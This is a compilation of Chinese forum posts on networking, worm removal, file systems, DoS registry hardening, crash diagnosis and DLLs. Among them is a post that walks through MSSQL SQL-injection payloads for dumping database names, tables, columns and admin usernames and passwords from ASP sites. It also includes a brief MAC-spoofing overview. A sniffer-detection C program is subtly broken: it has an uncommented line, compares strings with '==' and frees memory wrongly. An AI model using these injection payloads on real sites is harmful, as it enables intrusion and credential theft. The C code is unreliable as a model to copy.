Host Name . . . . . . . . . . . . : bigball

Primary DNS Suffix . . . . . . . :

Node Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No



Ethernet adapter 本地连接:



Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Legend/D-Link DFE-530TX PCI Fast Eth

ernet Adapter (Rev B)

Physical Address. . . . . . . . . : 00-50-BA-25-5D-E8

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : 192.168.10.254

Subnet Mask . . . . . . . . . . . : 255.255.128.0

Default Gateway . . . . . . . . . : 192.168.10.3

Ethernet adapter SC12001:



Description . . . . . . . . : DEC DC21140 PCI Fast Ethernet

Linux

运行“ifconfig”。结果如下:

eth0 Link encap:Ethernet HWaddr 08:00:17:0A:36:3E

inet addr:192.0.2.161 Bcast:192.0.2.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1137249 errors:0 dropped:0 overruns:0

TX packets:994976 errors:0 dropped:0 overruns:0

Interrupt:5 Base address:0x300

Solaris

用 “arp” 或者 “netstat –p” 命令

1.3.3我如何才能知道有那些计算机和我的MAC地址直接关联?

对于WinNT和Unix机器,可以直接使用“arp –a”查看。

1.3.4我能够改变我的MAC地址吗?

可以。简单的说一下:

第一种方法,你要做地址欺骗,因为MAC地址是数据包结构的一部分, 因此,当你向以太网发送一个数据包的时候,你可以覆盖源始的MAC信息。

第二种方法,很多网卡允许在一定的时间内修改内部的MAC地址。

第的三种方法, 你可以通过重新烧录EEPROM来实现MAC地址的修改。但是这种方法要求你必须有特定的硬件设备和适用的芯片才能修改,而且这种方法将永远的修改你的MAC地址。

二.反臭探技术
2.1我如何才能检测网内是否存在有臭探程序?

理论上,臭探程序是不可能被检测出来的,因为臭探程序是一种被动的接收程序,属于被动触发的,它只会收集数据包,而不发送出任何数据,尽管如此,臭探程序有时候还是能够被检测出来的。

一个臭探程序,不会发送任何数据,但是当它安装在一台正常的局域网内的计算机上的时候会产生一些数据流。举个例子,它能发出一个请求,始DNS根据IP地址进行反相序列查找。

下面一种简单的检测方法:

ping 方法

很多的臭探器程序,如果你发送一个请求给哪台有臭探程序的机器,它将作出应答

说明:

1. 怀疑IP地址为10.0.0.1的机器装有臭探程序,它的MAC地址确定为00-40-05-A4-79-32.

2. 确保机器是在这个局域网中间。

3. 现在修改MAC地址为00-40-05-A4-79-33.

4. 现在用ping命令ping这个IP地址。

5. 没有任何人能够看到发送的数据包,因为每台计算机的MAC地址无法与这个数据包中的目地MAC不符,所以,这个包应该会被丢弃。

6. 如果你看到了应答,说明这个MAC包没有被丢弃,也就是说,很有可能有臭探器存在。

现在,这种方法已经得到了广泛的推崇和宣扬,新一代的黑客们也学会了在他们的代码中加入虚拟的MAC地址过滤器很多的计算机操作系统(比如Windows)都支持MAC过滤器(很多过虑器只检查MAC的第一个字节,这样一来,MAC地址FF-00-00-00-00-00和FF-FF-FF-FF-FF-FF就没有区别了。(广播地址消息会被所有的计算机所接收)。这种技术通常会用在交换模型的以太网中。当交换机发现一个未知的MAC地址的时候,它会执行类似“flood”的操作,把这个包发送给每个节点。

2.2本机臭探程序的检测

本机臭探的程序检测方法比较简单,只要检查一下网卡是否处于混杂模式就可以了,在Linux下,这个比较容易实现,而在Windows平台上,并没有现成的函数可供我们实现这个功能,我们来用一点小技巧:



#include <winsock2.h>

#define MAX_PACK_LEN 65535

#define MAX_HOSTNAME_LAN 255

#pragma comment (lib , "ws2_32.lib")

int main()

{

SOCKET SockRaw,Sock;

WSADATA wsaData;

int ret=0;

struct sockaddr_in sAddr,addr;

char RecvBuf[MAX_PACK_LEN];

char FAR name[MAX_HOSTNAME_LAN];

struct hostent FAR * pHostent;

char *Buf=(char *)malloc(128);

int settimeout=1000;//这里我们设置了一秒钟超时

printf("UNSniffer for Win2k v1.0\nPower by BigBall\nHomePage:http:\/\/www.patching.net\/liumy\nEmail:liumy@patching.net\nOicq:9388920\n\nChecking your system ,wait a moment please...\n");

WSAStartup(MAKEWORD(2,2),&wsaData);

//建立一条RawSocket

SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

再建立一条UDP

Sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);

memset(&sAddr,0,sizeof(sAddr));

memset(&addr,0,sizeof(addr));

sAddr.sin_family=AF_INET;

sAddr.sin_port=htons(5257);

addr.sin_family=AF_INET;

addr.sin_port=htons(5258);

//把IP地址指向本机

addr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

memset(RecvBuf,0, sizeof(RecvBuf));

pHostent=malloc(sizeof(struct hostent));

gethostname(name, MAX_HOSTNAME_LAN);

pHostent=gethostbyname(name);

//取得自己的IP地址

memcpy(&sAddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);

free(pHostent);

//绑定一个本机的接收端口

bind(SockRaw, (struct sockaddr *)&sAddr, sizeof(sAddr));

//虚连接到本机的一个未打开的端口

connect(Sock,(struct sockaddr *)&addr,sizeof(addr));

Buf="1234567890!@#$%^&*";

//设置超时

setsockopt(SockRaw,SOL_SOCKET,SO_RCVTIMEO,(char *)&settimeout,sizeof(int));

//向虚连接端口发送一个数据包

send(Sock,Buf,strlen(Buf),0);

//使用SockRaw尝试接收这个数据包

ret=recv(SockRaw,RecvBuf,sizeof(RecvBuf),0);

if(ret==SOCKET_ERROR || ret==0)

printf("No found any sniffer in your system!\n");

else

{

//进行ChkSum

if(Buf=="1234567890!@#$%^&*")

printf("Warning!!! Found sniffer!!!\n");

}

closesocket(Sock);

closesocket(SockRaw);

free(pHostent);

free(Buf);

WSACleanup();

return 0;

}

TOP

处理冲击波

  病毒中文名:冲击波(包括很多变种)
  病毒类型:蠕虫病毒
  攻击对象:Windows NT 4.0,Windows 2000,Windows XP,Windows Server 2003等
  传播途径:“冲击波”是一种利用Windows系统的RPC(远程过程调用,是一种通信协议,程序可使用该协议向网络中的另一台计算机上的程序请求服务)漏洞进行传播、随机发作、破坏力强的蠕虫病毒。它不需要通过电子邮件(或附件)来传播,更隐蔽,更不易察觉。它使用IP扫描技术来查找网络上操作系统为Windows 2000/XP/2003的计算机,一旦找到有漏洞的计算机,它就会利用DCOM(分布式对象模型,一种协议,能够使软件组件通过网络直接进行通信)RPC缓冲区漏洞植入病毒体以控制和攻击该系统。
  中毒症状:
  1.系统资源紧张,应用程序运行速度异常;
  2.网络速度减慢,“DNS”和“ⅡS”服务遭到非法拒绝,用户不能正常浏览网页或收发电子邮件;
  3.不能进行复制、粘贴操作;
  4.Word、Excel、PowerPoint等软件无法正常运行;
  5.系统无故重启,或在弹出“系统关机”警告提示后自动重启等等。

  应急办法:
  如果不小心感染病毒,可以使用如下步骤进行查杀:
  1.关闭“系统关机”提示框
  在出现关机提示时,在“开始→运行”中输入“shutdown -a”,即可取消“系统关机”提示框,该方法确保用户有足够的时间下载补丁。
  2.下载针对“冲击波”的补丁
  Windows 2000简体中文版补丁下载地址:http://www.microsoft.com/downloa ... 5-8c9f-220354449117
  Windows XP 简体中文版(32位)补丁下载地址:
  http://www.microsoft.com/downloa ... c-9532-3de40f69c074
  Windows Server 2003 中文版(32位))补丁下载地址:
  http://www.microsoft.com/downloa ... 1-9009-3a212458e92e
  在下载补丁时,要注意不同的操作系统、不同的版本均有不同的补丁,不可混淆。安装补丁时,盗版Windows XP系统可能不能正常安装,Windows 2000操作系统则必须升级SP2以上版本才可安装。
  Windows2000 Service Pack 4简体中文版下载地址:http://download.microsoft.com/do ... 9c0e6/w2ksp4_cn.exe
  3.下载专杀工具
  瑞星“冲击波(Worm.Blaster))”病毒专杀工具下载地址:http://download.rising.com.cn/zsgj/ravzerg.exe
  金山“冲击波(Worm.Blaster))”病毒专杀工具下载地址:http://www.duba.net/download/othertools/duba_sdbot.exe
  4.脱机杀毒
  断开网络连接,然后运行专杀工具,这些工具体积小巧,操作简单,按照提示操作即可。
  手工清除:
  如果想体验一下手工杀毒的乐趣,可以按以下步骤操作:
  1.中止进程
  按“Ctrl+Alt+Del”组合键,在“Windows 任务管理器”中选择“进程”选项卡,查找“msblast.exe”(或“teekids.exe”、“penis32.exe”),选中它,然后,点击下方的“结束进程”按钮。
  提示:如不能运行“Windows 任务管理器”,可以在“开始→运行”中输入“cmd”打开“命令提示符”窗口,输入以下命令“taskkill.exe /im msblast.exe”(或“taskkill.exe /im teekids.exe”、“taskkill.exe /im penis32.exe”)。
  2.删除病毒体
  依次点击“开始→搜索”,选择“所有文件和文件夹”选项,输入关键词“msblast.exe”,将查找目标定在操作系统所在分区。搜索完毕后,在“搜索结果”窗口将所找到的文件彻底删除。然后使用相同的方法,查找并删除“teekids.exe“和“penis32.exe”文件。
  提示:在Windows XP系统中,应首先禁用“系统还原”功能,方法是:右击“我的电脑”,选择“属性”,在“系统属性”中选择“系统还原”选项卡,勾选“在所有驱动器上关闭系统还原”即可。
  如不能运行“搜索”,可以在“开始→运行”中输入“cmd”打开“命令提示符” 窗口,输入以下命令:
  “del 系统盘符\winnt\system32\msblast.exe”(Windows 2000系统)或“del系统盘符\windows\system\msblast.exe”(Windows XP系统)
  3.修改注册表
  点击“开始→运行”,输入“regedit”打开“注册表编辑器”,依次找到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”,删除“windows auto update=msblast.exe”(病毒变种可能会有不同的显示内容)。
  4.重新启动计算机
  重启计算机后,“冲击波”病毒就已经从系统中完全清除了。
  防 御:
  可以通过系统升级、优化网络设置和使用第三方软件的方法来增强系统的安全性能。
  系统升级防病毒
  安装针对“冲击波”的补丁后,怎样确认补丁已经正确安装呢?我们可以通过查看注册表的方法来确认,方法如下:在“开始→运行”中输入“regedit”,打开“注册表编辑器”,查看相应的注册表信息:
  “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows 2000\SP5\KB823980”(Windows 2000系统)
  “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows XP\SP2\KB823980”(Windows XP系统)
  “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Window Server 2003\SP1\KB823980”(Windows Server 2003系统)
  禁用端口防病毒
  “冲击波”病毒是利用系统的135、137、138、139、445、593端口,以及UDP端口69(TFTP))和TCP端口4444入侵系统的,只要禁用了这些端口就能有效地防范此类病毒。
  1.手工设置
  手工禁用端口的方法如下(以Windows 2000为例):
  打开“控制面板”,双击“网络连接”,右击“本地连接”,选择“属性”,在“本地连接属性”窗口中,选择“Internet”协议,点击“高级”按钮,然后在“高级TCP/IP设置”窗口中选择“选项”选项卡,双击“TCP/IP筛选”即可进入设置窗口。选择“只允许”,则用户只能使用设定的端口,这样就可以达到禁用危险端口的目的。一般而言,如果我们的计算机只是工作站而不是服务器,就可以只开放如下端口:TCP:80,UDP:6,IP协议:17。
  提示:不同的应用程序可能会要求使用系统不同的端口,比如FTP软件需要用到TCP21端口等,请按照各程序的说明文件进行相应的设置。
  2.使用防火墙软件
  对普通用户而言,手工设置可能会比较困难,笔者建议使用专门的防火墙软件,如Norton Internet Security、金山网镖、瑞星个人防火墙、天网防火墙个人版等。
  启用Internet连接防火墙
  对于使用 Windows XP或Windows Server 2003的用户来说,系统内置的Internet连接防火墙就能有效地阻止来自Internet的入站RPC通信信息,从而免受此类病毒的影响。操作方法为:进入“开始→控制面板”,双击“网络连接”,右击“本地连接”,选择“属性”,在“属性”窗口中点击“高级”按钮,就可以看到“Internet 连接防火墙”,勾选“通过限制或阻止来自Internet的对此计算机的访问业保护我的计算机和网络”即可。
  禁用DCOM防病毒
  DCOM是一种能够使软件组件通过网络直接进行通信的协议。如果一台计算机是网络的一部分,则该计算机上的COM对象将能够通过DCOM网络协议与另一台计算机上的COM对象进行通信。通过禁用DCOM,可以帮助计算机防范“冲击波”,具体操作方法如下:
  在“开始→运行”中输入“Dcomcnfg.exe”,打开“组件服务”窗口;单击“控制台根节点”下的“组件服务”,再打开“计算机”子文件夹;然后右击“我的电脑”,选择“属性”(对于本地计算机),或者右击“计算机”文件夹,选择“新建→计算机”,输入计算机名称,再右击该计算机名称,然后选择“属性”(对于远程计算机);然后选择“默认属性”选项卡,取消“在这台计算机上启用分布式COM”复选框上的钩即可。
  提示:禁用DCOM会阻断该计算机上的对象与其他计算机上的对象之间的所有通信,请慎重选择。
  几点注意:
  1.安装专业的防火墙和防病毒软件,并激活“实时防护”功能,并且经常更新病毒库;
  2.激活系统的自动更新功能,及时下载安装最新的安全补丁,未雨绸缪;
  3.优化与系统安全相关的参数,修改部分缺省值,关闭或删除系统中不需要的服务;
  4.养成良好的网络安全观念,不访问不健康网站,不随意打开来历不明的邮件及附件,不要执行从Internet下载的未经杀毒处理的软件;
  5.尽量使用复杂的密码,提高计算机的安全系数;
  6.发现病毒时,应该迅速断开网络连接,隔离受感染的计算机。

TOP

磁盘格式的问题

1、什么是NTFS?

  想要了解NTFS,我们首先应该认识一下FAT。FAT(File Allocation Table)是“文件分配表”的意 思。对我们来说,它的意义在于对硬盘分区的管理。FAT16、FAT32、NTFS是目前最常见的三种文件系统。

  FAT16:我们以前用的DOS、Windows 95都使用FAT16文件系统,现在常用的Windows 98/2000/XP等系统均支持FAT16文件系统。它最大可以管理大到2GB的分区,但每个分区最多只能有65525个簇(簇是磁盘空间的配置单位)。随着硬盘或分区容量的增大,每个簇所占的空间将越来越大,从而导致硬盘空间的浪费。

  FAT32:随着大容量硬盘的出现,从Windows 98开始,FAT32开始流行。它是FAT16的增强版本,可以支持大到2TB(2048GB)的分区。FAT32使用的簇比FAT16小,从而有效地节约了硬盘空间。

  NTFS:微软Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式。随着以NT为内核的Windows 2000/XP的普及,很多个人用户开始用到了NTFS。NTFS也是以簇为单位来存储数据文件,但NTFS中簇的大小并不依赖于磁盘或分区的大小。簇尺寸的缩小不但降低了磁盘空间的浪费,还减少了产生磁盘碎片的可能。NTFS支持文件加密管理功能,可为用户提供更高层次的安全保证。

  2、什么系统可以支持NTFS文件系统?

  只有Windows NT/2000/XP才能识别NTFS系统,Windows 9x/Me以及DOS等操作系统都不能支持、识别NTFS格式的磁盘。由于DOS系统不支持NTFS系统,所以最好不要将C:盘制作为NTFS系统,这样在系统崩溃后便于在DOS系统下修复。

  NTFS与操作系统支持情况表

  文件系统    支持的操作系统
  FAT16    windows 95/98/Me/NT/2000/XP Unix,Linux,DOS
  FAT32    windows 95/98/Me/2000/XP
  NTFS     windows nt/2000/XP

TOP

从暴库到暴密码的一般步骤

看了臭要饭写的跨库查询,我整理了一下从暴库到暴出密码等的一般
步骤,使得思路更清晰些。
SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
步骤,希望能对你有帮助。

1:暴出所有库名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名

2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。

3:暴出表中的字段
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...))
来暴出其他的字段

4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。

TOP

从正确看待DoS与DDoS说起

相信大家都一定不会对这两个这个词感到陌生,是的,拒绝服务攻击(Denial of Service),以及分布式拒绝服务攻击(Distributed Denial of Service)。

所谓拒绝服务,是指在特定攻击发生后, 被攻击的对象不能及时提供应有的服务,例如本来应提供网站服务(HTTP Service)而不能提供网站服务,电子邮件服务器(SMTP,POP3)不能提供收发信件等等的功能,基本上,阻绝服务攻击通常利用大量的网络数据包,以瘫痪对方之网络及主机,使得正常的使用者无法获得主机及时的服务。

分布式拒绝服务,简单的说就是用远超过目标处理能力的海量数据包消耗可用系统,以及网络带宽,造成网络服务瘫痪。

也许是和媒体的过分关注有关,DoS攻击特别是DDoS攻击,似乎一夜之间就流行了起来,搞的大大小小的网管们,只要服务器一有故障,就异常兴奋的高呼“我被DDoS了!”,脸上仿佛写着无比的光荣和骄傲。

其实在我们的周围,真正意义上的DDoS其实并不多,毕竟发动一次DDoS攻击所需要的资源非常的多,但实实在在的攻击却又不停的发生着,这里面,绝大多数,都是普通的拒绝服务攻击。普通级别的攻击,如何防护,也成为很多网络管理员最头疼的问题,于是到处打听,结果往往千篇一律,“购买我们的硬件防火墙吧”。

硬件防火墙,包括专用抗拒绝服务攻击产品的确是好,但基本价格都十分昂贵,效果虽然好,可从投资以及保护投资的角度来说,未免有些过火。

其实从操作系统角度来说,本身就藏有很多的功能,只是很多是需要我们慢慢的去挖掘的。这里我给大家简单介绍一下如何在Win2000环境下修改注册表,增强系统的抗DoS能力。

细节:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]


关闭无效网关的检查。当服务器设置了多个网关,这样在网络不通畅的时候系统会尝试连接第二个网关,通过关闭它可以优化网络。
"EnableDeadGWDetect"=dword:00000000

禁止响应ICMP重定向报文。此类报文有可能用以攻击,所以系统应该拒绝接受ICMP重定向报文。
"EnableICMPRedirects"=dword:00000000

不允许释放NETBIOS名。当攻击者发出查询服务器NETBIOS名的请求时,可以使服务器禁止响应。
注意系统必须安装SP2以上
"NoNameReleaseOnDemand"=dword:00000001

发送验证保持活动数据包。该选项决定TCP间隔多少时间来确定当前连接还处于连接状态,不设该值,则系统每隔2小时对TCP是否有闲置连接进行检查,这里设置时间为5分钟。
"KeepAliveTime"=dword:000493e0

禁止进行最大包长度路径检测。该项值为1时,将自动检测出可以传输的数据包的大小,可以用来提高传输效率,如出现故障或安全起见,设项值为0,表示使用固定MTU值576bytes。
"EnablePMTUDiscovery"=dword:00000000

启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后安全级别更高,对何种状况下认为是攻击,则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值设定的条件来触发启动了。这里需要注意的是,NT4.0必须设为1,设为2后在某种特殊数据包下会导致系统重启。
"SynAttackProtect"=dword:00000002

同时允许打开的半连接数量。所谓半连接,表示未完整建立的TCP会话,用netstat命令可以看到呈SYN_RCVD状态的就是。这里使用微软建议值,服务器设为100,高级服务器设为500。建议可以设稍微小一点。
"TcpMaxHalfOpen"=dword:00000064

判断是否存在攻击的触发点。这里使用微软建议值,服务器为80,高级服务器为400。
"TcpMaxHalfOpenRetried"=dword:00000050

设置等待SYN-ACK时间。缺省项值为3,缺省这一过程消耗时间45秒。项值为2,消耗时间为21秒。项值为1,消耗时间为9秒。最低可以设为0,表示不等待,消耗时间为3秒。这个值可以根据遭受攻击规模修改。微软站点安全推荐为2。
"TcpMaxConnectResponseRetransmissions"=dword:00000001

设置TCP重传单个数据段的次数。缺省项值为5,缺省这一过程消耗时间240秒。微软站点安全推荐为3。
"TcpMaxDataRetransmissions"=dword:00000003

设置syn攻击保护的临界点。当可用的backlog变为0时,此参数用于控制syn攻击保护的开启,微软站点安全推荐为5。
"TCPMaxPortsExhausted"=dword:00000005

禁止IP源路由。缺省项值为1,表示不转发源路由包,项值设为0,表示全部转发,设置为2,表示丢弃所有接受的源路由包,微软站点安全推荐为2。
"DisableIPSourceRouting"=dword:0000002

限制处于TIME_WAIT状态的最长时间。缺省为240秒,最低为30秒,最高为300秒。建议设为30秒。
"TcpTimedWaitDelay"=dword:0000001e


[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
增大NetBT的连接块增加幅度。缺省为3,范围1-20,数值越大在连接越多时提升性能。每个连接块消耗87个字节。
"BacklogIncrement"=dword:00000003

最大NetBT的连接快的数目。范围1-40000,这里设置为1000,数值越大在连接越多时允许更多连接。
"MaxConnBackLog"=dword:000003e8


[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Afd\Parameters]
配置激活动态Backlog。对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示允许动态Backlog。
"EnableDynamicBacklog"=dword:00000001

配置最小动态Backlog。默认项值为0,表示动态Backlog分配的自由连接的最小数目。当自由连接数目低于此数目时,将自动的分配自由连接。默认值为0,对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20。
"MinimumDynamicBacklog"=dword:00000014

最大动态Backlog。表示定义最大"准"连接的数目,主要看内存大小,理论每32M内存最大可以增加5000个,这里设为20000。
"MaximumDynamicBacklog"=dword:00002e20

每次增加的自由连接数据。默认项值为5,表示定义每次增加的自由连接数目。对于网络繁忙或者易遭受SYN攻击的系统,建议设置为10。
"DynamicBacklogGrowthDelta"=dword:0000000a


以下部分需要根据实际情况手动修改

----------------------------------------------------------------------------------------
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
启用网卡上的安全过滤
"EnableSecurityFilters"=dword:00000001

同时打开的TCP连接数,这里可以根据情况进行控制。
"TcpNumConnections"=

该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上,增加该设置可以提高 SYN 攻击期间的响应性能。
"TcpMaxSendFree"=

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{自己的网卡接口}]
禁止路由发现功能。ICMP路由通告报文可以被用来增加路由表纪录,可以导致攻击,所以禁止路由发现。
"PerformRouterDiscovery "=dword:00000000

TOP

电脑死机故障分析

每个使用过电脑的人恐怕都遇到过死机现象,电脑的死机确实是一件很烦人的事,有时还会给您带来不小的损失,但是这个问题也确实是很复杂的,死机既有可能是硬件上的暇弊,也有可能是软件中的bug,当然还有可能就是您的“非法操作”。下面想就一些实例来具体问题具体分析一番:
     
   显卡原因
  Q 一台电脑发生经常性的死机现象,启动电脑,会有三声报警声,显示器有时不能点亮,但主机工作正常,在设置成32位色彩后,死机更加频繁。为什么?
  A 造成以上情况死机的原因可能有两个:一个是显示卡散热不好造成的工作不正常,另一个原因是显卡和主板的兼容性不好。在设置成高位色后的死机,很可能是显卡显示功能比较弱,在更高位色的情况下保证不了原来的分辨率,看来这个问题主要是出自显卡上。
  

   电源原因
  Q 电脑一直使用很好,但最近一段时间偶尔出现启动过程中的死机,并不是每一次都这样,有时候需要两三次才能顺利地启动。为什么?
  A 由于以前使用情况一直很好,一般可以排除是硬件上的兼容性问题,而在启动过程中的死机,屏幕上又没有给出相关的信息,所以也不很像是软件的问题,所以最有可能就是由于电源的老化或者超负荷造成的,一般更换电源检验一下就可以。
  

   驱动程序原因
  Q 在升级Win 98过程中,出现“按立即启动按钮,计算机将立即重新启动,否则15秒后计算机将自动重新启动。”对话框,但启动后,蓝屏死机。为什么?
  A 由于是在安装系统中的死机,多半是由于硬件设备的冲突造成的,可以先将除显卡以外的其他扩展插卡拔掉,然后再重新安装Win 98,如仍出现上述情况,有可能是Win 98系统对原显卡的驱动程序不兼容造成的,可以在开机时选择进入安全模式,然后在控制面板中升级显卡的驱动程序。
  

   DOS启动原因
  Q 电脑在启动后出现“Starting Windows 98”信息时,随即死机。为什么?
  A 此种情况下的死机,很可能是由于Win 98的DOS启动部分受到破坏所至,因为此时还尚未进入到Win 98的系统中,解决此问题需要用到Win 98的启动软盘,用启动盘来重新启动电脑后,然后在DOS状态下输入“sys c:”命令,这样可以修复硬盘中的DOS引导系统,问题应该可以解决,但需要注意的是,启动盘必须是用与当前操作系统版本一致的,否则将破坏Windows系统。
  

   虚拟内存原因
  Q 在Win 9x下运行大型的应用程序时,出现硬盘灯狂闪,随即就死机了。为什么?
  A 这是我们经常会遇到的一种死机情况,这个问题大多是和设置的虚拟内存有关。如果本身的内存就比较小,而又运行了大型的应用程序,这时就需要有较大的虚拟内存,但如果这时的虚拟内存恰恰不够了,就会造成上述的死机了。所以建议您最好是将虚拟内存的容量设置得稍大一点,并且经常删除一些临时的虚拟文件。
  

   注册表原因
  Q 关于Win 9x注册表损坏而引起的死机现象。怎样解决?
  A Windows系统中的注册表是一个很危险的地方,一般情况下不要修改。出现误删的问题,可以将备份的注册表恢复过来。具体方法是启动电脑到纯DOS状态下,然后进入到Windows的目录下,执行一下命令:
  attrib -h -r -s system.da0
  atttib -h -r -s user.da0
  copy system.da0 system.dat
  copy user.da0 user.dat
  最后重新启动电脑。
  

   引导程序原因
  Q 电脑在开机自检后,在屏幕上显示“No ROM Basic,System Halted”信息后死机,硬盘等也不再闪烁。为什么?
  A 造成这一故障的原因是硬盘的引导程序破坏或者是受病毒侵害,还有可能是主引导区的最后两个字节“55AAH”被改写,因为这两个字节一旦被改写,那么系统就不再认为有硬盘存在了,所以操作系统也就无法启动了。解决方法是用软盘启动电脑,在DOS状态下,执行“FDISK/MMR"命令,这样就可以使正确的主引导程序和结束标识覆盖在硬盘的主引导区上。
  

   安装操作系统原因
  Q 在电脑启动时,屏幕上出现了“Error Loading Operation System”的相关信息,然后就死机了。为什么?
  A 以上显示信息的意思是:装载操作系统错误。这是在读取分区引导扇区出错时才提示的。可能是因为:
  1、分区表指示的分区起始地址不正确。
  2、分区引导扇区所在磁道的磁道标志和扇区ID损坏,找不到指定的扇区。
  3、驱动器读电路故障,但这种情况比较少见,多数是随机性读错误,因为系统引导进行到此处,应该说已正确地读出了一个主引导扇区。
  

    解决上述的问题,需要借助像诺顿的磁盘医生NDD之类的修复软件来回复硬盘的分区表

TOP

动态链接库文件DLL

一、动态链接库的概念
  动态链接库(Dynamic Link Library,缩写为DLL)是一个可以被其它应用程序共享的程序模块,其中封装了一些可以被共享的例程和资源。动态链接库文件的扩展名一般是dll,也有可能是drv、sys和fon,它和可执行文件(exe)非常类似,区别在于DLL中虽然包含了可执行代码却不能单独执行,而应由Windows应用程序直接或间接调用。

  动态链接是相对于静态链接而言的。所谓静态链接是指把要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分。换句话说,函数和过程的代码就在程序的exe文件中,该文件包含了运行时所需的全部代码。当多个程序都调用相同函数时,内存中就会存在这个函数的多个拷贝,这样就浪费了宝贵的内存资源。而动态链接所调用的函数代码并没有被拷贝到应用程序的可执行文件中去,而是仅仅在其中加入了所调用函数的描述信息(往往是一些重定位信息)。仅当应用程序被装入内存开始运行时,在Windows的管理下,才在应用程序与相应的DLL之间建立链接关系。当要执行所调用DLL中的函数时,根据链接产生的重定位信息,Windows才转去执行DLL中相应的函数代码。

  一般情况下,如果一个应用程序使用了动态链接库,Win32系统保证内存中只有DLL的一份复制品,这是通过内存映射文件实现的。DLL首先被调入Win32系统的全局堆栈,然后映射到调用这个DLL的进程地址空间。在Win32系统中,每个进程拥有自己的32位线性地址空间,如果一个DLL被多个进程调用,每个进程都会收到该DLL的一份映像。与16位Windows不同,在Win32中DLL可以看作是每个进程自己的代码。

  二、动态链接库的优点

  1. 共享代码、资源和数据

   使用DLL的主要目的就是为了共享代码,DLL的代码可以被所有的Windows应用程序共享。

  2. 隐藏实现的细节

   DLL中的例程可以被应用程序访问,而应用程序并不知道这些例程的细节。

  3. 拓展开发工具如Delphi的功能

  由于DLL是与语言无关的,因此可以创建一个DLL,被C++、VB或任何支持动态链接库的语言调用。这样如果一种语言存在不足,就可以通过访问另一种语言创建的DLL来弥补。

  三、动态链接库的实现方法

  1. Load-time Dynamic Linking

  这种用法的前提是在编译之前已经明确知道要调用DLL中的哪几个函数,编译时在目标文件中只保留必要的链接信息,而不含DLL函数的代码;当程序执行时,利用链接信息加载DLL函数代码并在内存中将其链接入调用程序的执行空间中,其主要目的是便于代码共享。

  2. Run-time Dynamic Linking

  这种方式是指在编译之前并不知道将会调用哪些DLL函数,完全是在运行过程中根据需要决定应调用哪个函数,并用LoadLibrary和GetProcAddress动态获得DLL函数的入口地址。

  

教你认识动态链接库DLL文件


  DLL是Dynamic Link Library的缩写,意为动态链接库。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可有多个DLL文件,一个DLL文件也可能被几个应用程序所共用,这样的DLL文件被称为共享DLL文件。DLL文件一般被存放在C:WindowsSystem目录下。


  1、如何了解某应用程序使用哪些DLL文件

  右键单击该应用程序并选择快捷菜单中的“快速查看”命令,在随后出现的“快速查看”窗口的“引入表”一栏中你将看到其使用DLL文件的情况。

  2、如何知道DLL文件被几个程序使用

  运行Regedit,进入HKEY_LOCAL_MACHINESoftwareMicrosrftWindowsCurrent-
VersionSharedDlls子键查看,其右边窗口中就显示了所有DLL文件及其相关数据,其中数据右边小括号内的数字就说明了被几个程序使用,(2)表示被两个程序使用,(0)则表示无程序使用,可以将其删除。

  3、如何解决DLL文件丢失的情况

